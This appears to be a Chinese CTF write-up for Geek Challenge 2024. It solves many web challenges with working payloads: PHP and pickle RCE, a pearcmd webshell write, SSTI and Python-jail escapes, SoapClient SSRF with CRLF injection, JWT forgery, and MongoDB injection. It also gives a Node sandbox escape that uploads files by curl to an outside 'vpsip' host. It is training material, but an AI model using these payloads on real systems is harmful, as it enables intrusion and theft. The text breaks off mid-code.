2024极客大挑战wp(部分)

rce_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
# Can you RCE me?
if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}
echo "Welcome to GeekChallenge2024!<br>";
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}
if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

image-20241126181658098

baby_upload

在文件名后缀中加个报名单后缀即可

image-20241126182315739

py_jail

开启sh

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101,  109]).decode()](().__class__.__base__.__subclasses__()[6]([115,  104]).decode())

100%的⚪

源码里就能找到

image-20241126183304254

ez_http

image-20241126183901931

加jwt伪造

ez_include

第一步,包含的软连接层数较多时,hash匹配会直接失效造成重复包含:

1
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

base64解码得到:

1
2
3
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>

第二步,根据提示 register_argc_argv = Onpearcmd

用pearcmd写入文件:

1
/levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/tmp/1.php

再访问:

1
/levelllll2.php?1=system("env");&syc=/tmp/1.php

得到flag。

ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
Class lover{
public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
public $meimeng=12312313;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){

$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;

return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "";
}

}
Class SYC{
public $starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ;
}

$lover1 = new lover();
$lover2 = new lover();
$syc=new SYC();
$geek1=new Geek();
$geek1->GSBP=$lover2;

$geek2=new Geek();
$lover1->meimeng=$geek1;
$lover2->meimeng=$geek2;

$geek2->GSBP=$syc;

$s=serialize($lover1);

$s = preg_replace('/s:7:"m/', 'S:7:"\\\6d', $s);
echo urlencode($s);

#O%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A3%3A%22SYC%22%3A1%3A%7Bs%3A7%3A%22starven%22%3Bs%3A93%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%2F%3F%3Ephp_value+auto_prepend_file+%2Fflag%0A%23%2Fresource%3D.htaccess%22%3B%7D%7D%7D%7D%7D

Problem_On_My_Web

xss

/manager 页面POST url=http://127.0.0.1,让bot访问主页,触发攻击

image-20241126185951972

Can_you_Pass_Me

1
{%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%}

SecretInDrivingSchool

页面源码发现后台登录

image-20241126190546447

依旧是页面源码

image-20241126190630336

爆破的到密码SYC@chengxin

进入后台页面,广告修改功能,修改源码为:echo readgzfile("/flag");,回到首页底部看到flag。

ez_python

注册登录上来到 /starven_s3cret

访问会下载源码

审计发现

login路由疑似存在pickle反序列化漏洞

image-20241126192939448

之前的通用payload在这里用不了了,这题大概率不出网

打内存马

1
2
3
4
5
6
7
8
9
import os
import pickle
import base64
class A():
def __reduce__(self):
return(exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('starven')).read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

image-20241126193443237

ez_SSRF

/www.zip 源码泄露,发现对外用的是 h4d444444.php,对内用的是 calculator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#h4d333333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}

if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));

$client->calculator();

echo file_get_contents("result");
}else{
echo "Please give me a location";
}

在 calculator.php 中,对 ip 的校验使用的是 remote_addr,这个是无法通过 HTTP 头进行伪造的

只能通过 h4d333333.php 对 calculator 进行请求

相关文章:利用 SoapClient 类进行 SSRF+CRLF 攻击 | Xiaojian Yuan’s Homepage (lethe.site)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$target = 'http://xxx/xxx.php';
$post_string = 'expression=system("cat /flag > flag");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
#只需要useragent的部分
#wupco%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 38%0d%0a%0d%0aexpression=system("cat /flag > flag");

Q1ngchuan%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0aexpression=system(“cat /flag > flag”);

py_game

随便注册一个用户

image-20241126194855961

发现存在session

eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0W1gw.DMOHNyLf2pNNdg34PP9H_U4V27A

flask-unsign爆破秘钥

1
flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0W1gw.DMOHNyLf2pNNdg34PP9H_U4V27A'

image-20241126195252471

1
2
flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 
'admin'}" --secret 'a123456'

image-20241126195318374

eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0W2pg.T0G0Z8X1uZ8de6lq7zf_BT3gNpk

之后替换掉,进入adminpanel下载源码

之后反编译出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password


def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)



def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))

new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')

register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))

flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')

login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)

def play():
if 'username' in session:
with open('/app/templates/play.html', 'r', 'utf-8', **('encoding',)) as file:
play_html = file.read()
return play_html
None('请先登录', 'error')
return redirect(url_for('login'))

play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)

def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))

admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)

def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
return render_template('index.html')

index = app.route('/')(index)

def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None

xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True

def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None
try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None
update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

https://blog.csdn.net/Luminous_song/article/details/132118473

image-20241126203146543

image-20241126203715296

这里由于进行了 json.loads 可以对 Unicode 字符解码 可以用这个特性绕过黑名单的部分限制

这里用Python实现了xml的解析功能 由于 load_dtd=true 可以加载外部实体存在xxe攻击可以实现任意 文件读取 xml_bytes 的数据来源于 app.config[“xml_data”] 的数据,所以我们尝试污染 xml_data 即可

image-20241126203740335

可以用个常见的xxe任意文件读的payload 这里的环境没有flag 我们试着读一下 /etc/passwd ]> &xxe; J1rrY 这里直接给出POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /update HTTP/1.1
Host: 80-874e1950-e888-4674-896c-d255ccbe016b.challenge.ctfplus.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0W2pg.T0G0Z8X1uZ8de6lq7zf_BT3gNpk
Priority: u=0, i
Content-Type: application/json

{
"__init\u005f_" : {
"__globals\u005f_" : {
"app" : {
"config" : {
"xml_data" :"<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE foo [<!ENTITY example SYSTEM '/flag'> ]><flag>&example;</flag>"
}
}
}
}
}

jwt_pickle

这题第一步和网鼎青龙组第一个web的第一步一模一样

先搞俩jwt

1
docker run --rm -it portswigger/sig2n  eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.uL7Bdovj9ehVyXoCbBK_FvyTKUmJYQrUPkBQp3BHrlvk6KUjuCIsg8c42bDPv7fdWmCBAXa5Rluse3jRcBAEdVIXza2TYeDOj_MhhU9kxyFDUiD2LbrZLQjZ_bpq19YPtuXr9Ytqa6YsZ_6LmIoxkHzLvIrPPTXW6oUMBkgCbW8vXpVTxdS-KNEhlg0_zTG8yGW0owxDttKAxgNl4WdjY0NkE43E1_BoorIGeZXwn06X2NrHbEWUnWHVd1w_zkNBhumJIcxJ5UJ4okJk3Y3PuHMFb0zHX9_x8sMJewQegeg0vHNWnT0HCL2VXfDLBp-yTHCALFqS9NuJGUe-nDWSzA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.HNZ_mzUxUJL6wVX25q5g2aYv4XxXniWYyuNX1Kq3rgJ-aUN1-czhfsTjHNDt6WKtKdRLqUrv4f0rGi0VNukV2zPFzeVi6i4ni0yZ45gmJJRF2rEVZt8VPo-Th_-v-_PoYrQZTJRlTKNckxKJa3-beASrdrM56k-uOwYk9BjstriNTMcf_XJs6iXLg_ZJcge9V_ZtphEJXqZdevJxqKbuuAKsiRvyjbNe8S2GuZY_WZU16BM951SHhpDbnZ3ARWak-9MS9gFiOTDOpAO-BT3gDwp24WhJt76GEC-RGuKDJeh7bKSOuZYENcXzeK9s_xCpOOzWw1IJ4W5CF02bbLBNEw

image-20241127193126979

1
2
3
4
5
6
Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEyUUp2S2RBQjlXd3VvK1BoSlNnNgoveUwzZW1LZjFuR0NPTjdhYWo0dTIwQy81eGdVSEtNTDZvSFIxbjF0c01pOVk1NHRxaC9vaTlRUmVNZjdUYUpkCkEveURPdmxRNmU5SVMyamRSZzJqRzIyZmV0c2FIMlNYWXdZQTdhOTYzdjZ4V2hOaVZhdzU5YWZOWjhvQUtiNlIKeXV1eEk1cFlUTWJZdVcxZlJxRmJ5YXdRNms5a1UzWjJRZFN2NGI4anVJQjJuTEdEMFVyMVQ3emRic1JwZHk5UgpRd2xHR2NDK3l4bzdOOGtyeDBrdFNLK0RSa2YycHdpYXMwTHVRSFVDTmdDdUtHSFhQd0JFbTB6Vis2M3loa0JOCjhKdmEyZkdzMGdpZlpBcXYyVlBEdlN1RXZheUUyS2ZrS1BXczliZzhpUXRQMTdUMU1jTGhsVUlabDVEZXdrd1IKN1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgInBhc3N3b3JkIjogImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzMyNzkzNDU4fQ.npxxLSgmr0ZvoxoSAli7vFQ83naiatl38q5lAHXRsa8
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTJRSnZLZEFCOVd3dW8rUGhKU2c2L3lMM2VtS2YxbkdDT043YWFqNHUyMEMvNXhnVUhLTUwKNm9IUjFuMXRzTWk5WTU0dHFoL29pOVFSZU1mN1RhSmRBL3lET3ZsUTZlOUlTMmpkUmcyakcyMmZldHNhSDJTWApZd1lBN2E5NjN2NnhXaE5pVmF3NTlhZk5aOG9BS2I2Unl1dXhJNXBZVE1iWXVXMWZScUZieWF3UTZrOWtVM1oyClFkU3Y0YjhqdUlCMm5MR0QwVXIxVDd6ZGJzUnBkeTlSUXdsR0djQyt5eG83Tjhrcngwa3RTSytEUmtmMnB3aWEKczBMdVFIVUNOZ0N1S0dIWFB3QkVtMHpWKzYzeWhrQk44SnZhMmZHczBnaWZaQXF2MlZQRHZTdUV2YXlFMktmawpLUFdzOWJnOGlRdFAxN1QxTWNMaGxVSVpsNURld2t3UjdRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgInBhc3N3b3JkIjogImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzMyNzkzNDU4fQ.8rQLcMKnD4RDx6aJf7H8xS8fsLTExanGBnVBe4-K5io

这里给出了两个token,拿去试试那个可以

我这里测出第二个可以,然后拿着他对应的key就可以去jwt.io去伪造(伪造的时候拿着是原本他自己生成的,不要那工具生成的)

image-20241127193842870

introduction改为pickle的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import pickle
import base64
import requests
import subprocess


class exp(object):
def __reduce__(self):
payload = 'cat /flag'
return (subprocess.getoutput, (payload,))


a = exp()
b = pickle.dumps(a)
c = base64.b64encode(b)
print(c)

php不必java差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";
class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}
unserialize($_POST['data']);

__unserialize这个魔术方法还是很少见的,相反的有__serialize

1
2
3
4
5
6
7
这两个魔术方法需要php7.4以上才能生效

当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

__unserialize该魔术方法在使用unserialize函数时会自动进行调用

image-20241127091121148

但利用 $FUNC() 进行数组调用类的方法时需要注意,该数组类型应该为索引数组,测试如下

image-20241127092045719

链子大体上是__unserialize->Sink->Syclover

关于可变函数具体可参考PHP官方文章 https://www.php.net/manual/zh/functions.variable-functions.php 因此需要将关联形数组转变为索引数组,此处采用 array_values 取关联形数组的值转变为索引数组 下一步调用 Challenfge 类里面的Sink函数

$poc=new Geek(); $poc->a=new Challenge; $poc->b=”Sink”; //?change=array_values 进入搭配Sink函数内部后提示是否存在什么文件 这里把file赋值为include的 secret.php 文件后会提示真正的flag在根目录下,因此需要进一步RCE 跟进 file_exists 函数查看该函数定义会发现,其会把传入的变量作为字符串类型去处理,因此当传入 一个类时也会把类作为string类型进行处理,从而自动触发对应类当中的 __toString 魔术方法

因此这里将filename赋值为Syclover即可走到下一步

后续关键代码为

$eee=new $this->Where($this->IS); $fff=$this->Starven; $eee->$fff($this->Girlfriend);

此处明显为一个原生类的利用,但无法直接利用文件读取(后端设置了权限,需要进行RCE,根目录下 也放了hint.txt提示需要提权)

这里利用的是 ReflectionFunction 反射调用system函数执行命令进行RCE

成功RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

$a=new Geek();
$a->a=new Challenge();
$a->b="Sink";
$a->a->file=new Syclover();
$a->a->file->Where="ReflectionFunction";
$a->a->file->IS="system";
$a->a->file->Starven="invoke";
$a->a->file->Girlfriend="file -f /flag";
echo urlencode(serialize($a));

noSandbox

1
李华开发了一套Nodejs在线运行代码平台,为了不被黑客攻击,他做了一个自认为完美的WAF防御,所以他直接公开在了网上,听说技术栈好像用了什么芒果db

这里说利用了芒果DB,是啥,我不知道,搜搜看看

image-20241127181010436

奥~一个数据库,是NoSQL,有无注入?

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRj%3DrbPDt3tDgmoD#toc-12找到个例题,永真式注入

1
{"username":{"$ne":1},"password": {"$ne":1}}

image-20241127181412585

来到了execute路由

给了部分源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
if (code.match(pattern)) {
console.log('WAF detected malicious code');
res.status(403).send('WAF detected malicious code');
exit();
}
}


app.post('/execute', upload.none(), (req, res) => {
let code = req.body.code;
const token = req.cookies.token;

if (!token) {
return res.status(403).send('Missing execution code credentials.');
}
if (!jwt.verify(token, JWT_SECRET)) {
return res.status(403).send('Invalid token provided.');
}

console.log(`Received code for execution: ${code}`);

try {
waf(code,res);
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

let script = new vm.Script(code);
console.log('Executing code in sandbox context');
script.runInContext(context);

console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
res.json('Code executed successfully' );
} catch (err) {
console.error(`Error executing code: ${err.message}`);
res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
}
});

过滤了好多,我之前不咋会nodejs,看了wp又学到了一招

这里直接用模板字符串绕过关键字检测即可

相关链接: https://web.nodejs.cn/en-us/docs/web/javascript/reference/template_literals/

模板字符串nodejs中``` 等价于 引号 可以用来代替字符 `

比较特殊的是占位符 ${expression} 可以镶套变量 ${} 可以被 `包裹

这里总结一下${}`拼接的字符串,以便快速使用 绕过黑名单

1
2
3
4
5
6
7
8
process           `${`${`proce`}ss`}`
prototype `${`${`prototyp`}e`}`
get_process `${`${`get_pro`}cess`}`
require `${`${`requir`}e`}`
execSync `${`${`exe`}cSync`}`
return process `${`${`return proc`}ess`}`
constructor `${`${`constructo`}r`}`
child_process `${`${`child_proces`}s`}`

值得注意的式这里的sandbox环境初始值为 Object.create(null)

image-20241127183505012

1
throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi, `${`${`exe`}cSync`}`)(`curl http://vpsip:9999 -T /f*`);return res.toString();}})

escapeSandbox_PLUS

给了源码和dockerfile

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const multer = require('multer');
const { VM } = require('vm2');
const crypto = require('crypto');
const path = require('path');

const app = express();

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

const sessionSecret = crypto.randomBytes(64).toString('hex');
app.use(session({
secret: sessionSecret,
resave: false,
saveUninitialized: true,
}));
const upload = multer();
app.post('/login', (req, res) => {
const { username, passwd } = req.body;

if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
req.session.isAuthenticated = true;
res.json({ message: 'Login successful' });
} else {
res.status(401).json({ message: 'Invalid credentials' });
}
});

const isAuthenticated = (req, res, next) => {
if (req.session.isAuthenticated) {
next();
} else {
res.status(403).json({ message: 'Not authenticated' });
}
};
app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
let code = req.body.code;

let flag = false;
for (let i = 0; i < code.length; i++) {
